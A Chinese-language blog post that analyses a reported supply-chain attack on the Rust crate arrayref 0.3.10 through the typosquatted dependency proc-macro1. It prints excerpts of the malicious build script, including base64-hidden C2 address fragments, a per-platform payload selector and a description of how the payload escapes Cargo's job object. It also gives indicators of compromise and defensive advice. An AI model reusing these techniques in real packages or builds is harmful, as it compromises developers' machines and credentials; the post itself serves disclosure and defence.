Rust 供应链投毒实录:arrayref 0.3.10 借冒名 proc-macro1 在编译期执行远程载荷
原创 · 约 36 分钟阅读 · 阅读 --

Rust 供应链投毒实录:arrayref 0.3.10 借冒名 proc-macro1 在编译期执行远程载荷

作者: Alex Xiang


我是 Alex Xiang,字与码(zicode.com)主理人。Rust 以内存安全著称,但「编译期执行任意代码」是 borrow checker 管不到的地盘。这篇把 arrayref 投毒事件的每一环拆开,并放到更大的供应链攻防史里看。欢迎关注公众号「字与码」。

2026 年 8 月 20 日,安全公司 SafeDep 披露了一起针对 Rust 生态的供应链投毒事件:流行 crate arrayref 的 0.3.10 版本被植入恶意依赖,其构建脚本会在编译期从远程服务器下载并执行二进制载荷。由于 arrayreftiny-skiawinit 等 GUI 渲染栈的间接依赖(累计下载量约 2.45 亿次),任何用 egui/eframe/iced 构建桌面程序的开发者,只要升级拉取到 0.3.10,编译即中招——不需要运行任何测试或二进制。

这篇文章还原攻击链的每一个环节:账号如何被控、恶意依赖如何伪装、构建脚本如何绕过 Cargo 的任务隔离,并给出可操作的排查与防御建议。所有技术细节均来自 SafeDep 的公开分析与 RustSec 公告,并补充了行业中可对照的真实先例。

一句话先给结论:这是一次教科书级的「多环节组合攻击」:攻陷维护者账号 + 仿冒知名作者身份(dtolnay 拼写变体)+ 发布冒名 crate(proc-macro1,源码是真实 proc-macro2 的机械改名)+ 用 base64 碎片隐藏 C2 地址 + 构建脚本下载远程二进制。攻击者甚至通过 yank 旧版本诱导开发者升级到唯一的非 yank 版本(恶意版)。

一、事件全景:哪些包被投毒

按 SafeDep 的分析,本次事件涉及两个「阵营」的 crate:

Crate版本发布者状态
arrayref0.3.10droundy(账号被控)恶意,已移除
internment0.8.7droundy(账号被控)恶意,已移除
append-only-vec0.1.9droundy(账号被控)恶意,已移除
proc-macro1全部版本dtolney(仿冒)仿冒拼写(typosquat),整包移除
proc-macro-en / aovine / arone / aronenao / tinymember全部版本恶意依赖 crate,已移除

关键背景事实:

  • 真正的 arrayrefappend-only-vecdroundy 维护,该账号疑似已被攻陷;对应的 GitHub 仓库(github.com/droundy/arrayref 等)与整个账号当前均返回 404,上游代码已无法核对;
  • 发布 proc-macro1 的账号是 dtolney——与 Rust 生态知名作者 David Tolnay 的真实账号 dtolnay 仅一字之差
  • 恶意 crate 的元数据伪造作者为 "David Tolnay",repository 指向 dtolnay/proc-macro1(该路径 404)。

特别提醒:proc-macro1 不是 proc-macro2。宏作者们真正依赖的是 proc-macro2;冒名包只是借了名字的相似性。

二、攻击链拆解(Step by Step)

Step 1:给正常包加一行「隐形」依赖

arrayref 本体只有 4 个宏,0.3.9 及以前没有构建脚本、没有运行时依赖。0.3.10 保留了宏源码,只在 Cargo.toml 里加了一行:

# arrayref-0.3.10/Cargo.toml
[package]
name = "arrayref"
version = "0.3.10"

[dependencies.proc-macro1]
version = "1.0.107"

这一行就足够引入恶意包。注意 1.0.107 是 caret 范围(^1.0.107),而 proc-macro1 历史上只发布过 1.0.106 与 1.0.107 两个版本,因此必然解析到恶意的 1.0.107。Cargo 会构建所有声明的非可选依赖——无论代码是否真的用到它,所以即使 arrayref 的源码里没有任何地方引用 proc-macro1,依赖仍然会被拉取并构建。

Step 2:把真实 crate 机械改名成「冒名者」

proc-macro1src/真实 proc-macro2 源码的机械查找替换版本(把 proc-macro2 全部替换为 proc-macro1),替换甚至深入到了文档链接:例如 html_root_url = "https://docs.rs/proc-macro1/1.0.107"github.com/dtolnay/proc-macro1/issues/235 这类引用。因为库代码是真实的 proc-macro2,它作为 drop-in 替换完全能用,正常构建不会露出马脚

真正可疑的是构建依赖——真实 proc-macro2 作为纯解析库,绝不会有这些:

# proc-macro1-1.0.107/Cargo.toml(构建依赖)
[build-dependencies.base64]
version = "0.22"
[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false
[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false

base64(解码)、rustls(TLS 栈)、ureq(HTTP 客户端)——一个 token 解析库带上这三样,几乎是明确的恶意信号。

Step 3:构建脚本用 base64 碎片拼出 C2 地址

// proc-macro1-1.0.107/build.rs(摘自 rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] = &[
    "aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8=",
];
const END_URL_PARTS: &[&str] = &[
    "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz",
];

解码后分别得到:

  • 载荷主机23[.]254[.]165[.]112:9089(HTTPS 下载);
  • C2 地址23[.]254[.]165[.]112:443(作为 argv[1] 传给载荷)。

下载用的 TLS 客户端接受任意证书:build.rs 里实现了 ServerCertVerifierAcceptAll,对证书与签名校验无条件返回成功,因此裸 IP 上的自签名证书也能通过。

Step 4:按平台拉取二进制并「脱缰」执行

构建脚本按操作系统与架构选择载荷文件名,其他平台直接 panic 中止构建:

fn link_suffix() -> &'static str {
    match (std::env::consts::OS, std::env::consts::ARCH) {
        ("linux",   "x86_64")  => "rust-crate_0.1.0",
        ("windows", "x86_64")  => "rust-crate_0.2.0",
        ("macos",   "x86_64")  => "rust-crate_0.3.0",
        ("macos",   "aarch64") => "rust-crate_0.4.0",
        (_, _) => panic!("unsupported platform"),
    }
}
  • Unix:把字节写入 /tmp/rust-setupchmod +xspawn() 启动,不等待子进程,并把 C2 地址作为第一个参数传入,stdin/stdout/stderr 全部置空;
  • Windows:写入 %TEMP%\rust-setup.ps1(PowerShell 脚本),再通过 VBScript 启动器经 wscript.exe 隐藏运行。源码注释写得很直白:「ShellExecute via WScript escapes Cargo's job object; spawned children otherwise keep the build script (and cargo build) waiting until they exit」——即用 WScript 逃逸 Cargo 的 job object,让 PowerShell 在构建结束后继续存活;最后 std::mem::forget(child) 泄漏句柄,彻底与 Cargo 脱离。

整个过程没有 feature 门控、没有环境变量检查,在受支持平台上每次构建都会执行

Step 5:yank 旧版本,把开发者「赶」进恶意版

账号被控后,攻击者yank 掉了 arrayref 的 0.3.5~0.3.9。yank 会让 Cargo 打印「consider updating to a version that is not yanked」警告,把开发者推向唯一非 yank 的版本——正是恶意的 0.3.10。提交 RustSec 公告的报告人正是这样踩中的。

三、影响面:为什么说「编译即中招」

arrayref 是一个只有 4 个宏的小工具,但深埋在常见 Rust 依赖图里:通过 tiny-skiasctk-adwaitawinit,它出现在大量基于 egui、eframe、iced 的 GUI 项目下。该 crate 累计下载量约 2.45 亿次(截至分析时 244,989,384),其中干净的 0.3.9 约 1.52 亿次。需要说明的是,这些数字衡量的是「使用广度」而非「受影响构建数」——实际受影响的是那些在恶意版本存续窗口内重新解析并构建依赖树的项目。

这次事件还暴露了 Rust 生态的一个结构性盲点:构建脚本(build script)拥有近乎完整的执行能力,却没有与「依赖代码」隔离的信任边界。`cargo build` 对依赖的信任假设是「依赖只会做它声明的事」,而构建脚本可以下载、执行任意程序,并且绕过 job object 等进程隔离手段。

四、失陷指标(IOC)自查

类型指标说明
网络23.254.165.112:9089载荷下载主机(HTTPS)
网络23.254.165.112:443C2,作为 argv[1] 传给载荷
文件(Unix)/tmp/rust-setup下载的可执行文件
文件(Windows)%TEMP%\rust-setup.ps1下载的 PowerShell 脚本
文件(Windows)%TEMP%\rust-setup-launch.vbsVBScript 启动器
二级载荷rust-crate_0.1.0 ~ _0.4.0按 OS/架构选择

SafeDep 与 StepSecurity 的后续分析还指出二级载荷的持久化痕迹:Linux 上会在 $HOME/.config/ 下写入 AzureKitsServiceKitMonoServiceMonoXpc 等目录,并植入 user-level systemd 单元;macOS 上类似路径。这是「编译期中招」之后真正危险的第二阶段——即使你删掉项目、清掉 target,落地的持久化仍在构建机上。StepSecurity 公布的恶意制品 SHA256(如 arrayref 0.3.1025ad7009…a9373ae)可用于在离线缓存中精确匹配。

五、它并不孤单:供应链投毒的「标准剧本」

把 arrayref 放进更大的坐标系,会发现它的每一步都有先例——而且 Rust 生态的「内存安全」光环恰恰让开发者更容易放松对依赖的警惕:

  • rustdecimal(2022,crates.io):typosquat 热门的 rust_decimal,build.rs 在 cargo build 时下载二阶段载荷,窃取 Windows/Linux 的 SSH 密钥与浏览器凭据。这是 crates.io 上最早的「真造成伤害」案例。
  • finch-rust / Shai-Hulud campaign:借 finch 库之名 typosquat,build.rs 作 loader,窃取 AWS/SSH/环境变量,且是跨 npm、PyPI、Rust 的「沙虫」系列的一部分。
  • torchtriton(2022,PyPI):与本案最像的「同名包依赖混淆」——攻击者在 PyPI 抢注 torchtriton,让 pip install 优先解析到恶意包而非 PyTorch 官方依赖。本案的 proc-macro1 是同一思路的 Rust 版。
  • xz 后门(2024,C 生态):维护者被长期渗透、在发布链里植入后门。它提醒所有生态:「维护者账号被控」是最难防、也最致命的一环,与本次 droundy 账号被控同源。
  • event-stream / flatmap-stream(2018,npm)、ua-parser-js / colors.js(2022):前者的「贡献者接管后埋雷」、后者的「维护者主动 sabotage」,说明投毒既有外部渗透,也有内部变质。

一个有意思的结构性差异:crates.io 做了命名归一化(连字符与下划线视为等价),关掉了 npm/PyPI 最常见的「加个连字符」typosquat 通道;但字符替换(dtolney vs dtolnay)和前缀后缀伪装仍然有效。也就是说,平台的加固减少了噪声,却挡不住针对「人」的拼写欺骗。

六、防御建议:如何避免成为下一个受害者

  • 立即核对依赖树:执行 cargo tree -i arrayref,确认是否解析到 0.3.10;用 cargo tree -i proc-macro1 检查是否出现该冒名包;任何出现即视为已失陷,需要审计构建机与 CI。
  • 锁定版本 + 校验和:使用 cargo update -p 回到 arrayref = "=0.3.9"(精确版本)或使用锁文件固定;配合 crates.io 官方校验和与第三方 SCA 工具的双重校验。
  • 给构建脚本上「最小权限」:在 CI 与本地构建环境中对依赖的 build script 做白名单/沙箱化(cargo-audit + cargo-supply-chain 审计、构建容器网络隔离、禁止出站连接)。
  • 警惕「非 yank 唯一版本」模式:当某个包忽然把历史版本全部 yank、只剩一个新版本时,先查 RustSec/OSV 数据库再升级;这正是本次攻击的诱导机制。
  • 关注构建期告警:构建脚本异常的网络行为(下载、连出)几乎总是恶意的——真实库极少在 build.rs 里做网络请求。
  • 账号安全:维护者账号被控是源头;为 crates.io / GitHub 开启 2FA,并优先采用 trusted publishing(OIDC 短时令牌,2024 年上线)替代长期 API token——这直接关掉「token 被盗即发布」的通道。
HN 评论区有一个冷静的声音:「这个 crate 本身很小众,但它是 std::slice::as_array 出现之前的常见替代品——攻击者选它正是因为它在大量 GUI 依赖图的深处,一个点就能辐射一大片。」这也解释了为什么「一个小工具」值得一次精心策划的多环节攻击。

七、独立观点:cargo build 就是一次远程代码执行

我对这起事件最想强调的一句话是:「cargo build 本质上等于运行了别人写的代码」。Rust 引以为傲的 borrow checker 防的是内存安全,不是社会工程;当依赖解析到的那一刻,build.rs 和 proc-macro 就已经以你的权限(往往是挂着密钥的 CI runner)跑起来了。语言的安全边界,在依赖进入构建图的那一刻就结束了。

所以防线必须从「相信官方仓库干净」转移到三层:

  • 解析层:精确版本锁定 + 锁文件 + vendoring,拒绝未经审计的依赖变更;
  • 执行层:构建环境网络隔离(无出站)、最小权限、job 级沙箱,让 build.rs 即使恶意也「出不去、拿不到」;
  • 身份层:发布者 2FA + OIDC trusted publishing + 所有权转移审计,把「账号被控」的概率和危害都压下去。

最后一点容易被忽略:那个「drop-in 替换」才是真正阴险的设计proc-macro1 是真实 proc-macro2 的改名副本,所以你的项目编译照常通过、测试可能全绿——没有任何构建失败来提醒你「出问题了」。攻击的隐蔽性恰恰来自「兼容性太好」。这意味着单纯靠 CI 绿不绿来判定安全是远远不够的,必须主动审计依赖树的突变。

结语

arrayref 事件把 Rust 供应链攻击的「成本/收益」推向新高度:攻陷一个小维护者账号,借 typosquat 与 yank 诱导,一行依赖就能让编译期成为执行期。它再次证明:供应链安全不能只靠「官方仓库干净」的假设——构建脚本是代码执行点,crates.io 移除恶意版本只是善后,真正的防线在依赖解析策略、构建沙箱与发布者身份验证。建议所有 Rust 团队今天就把「构建期网络出站限制」与「精确版本锁定」纳入基线。

信息来源

打开原图 ↗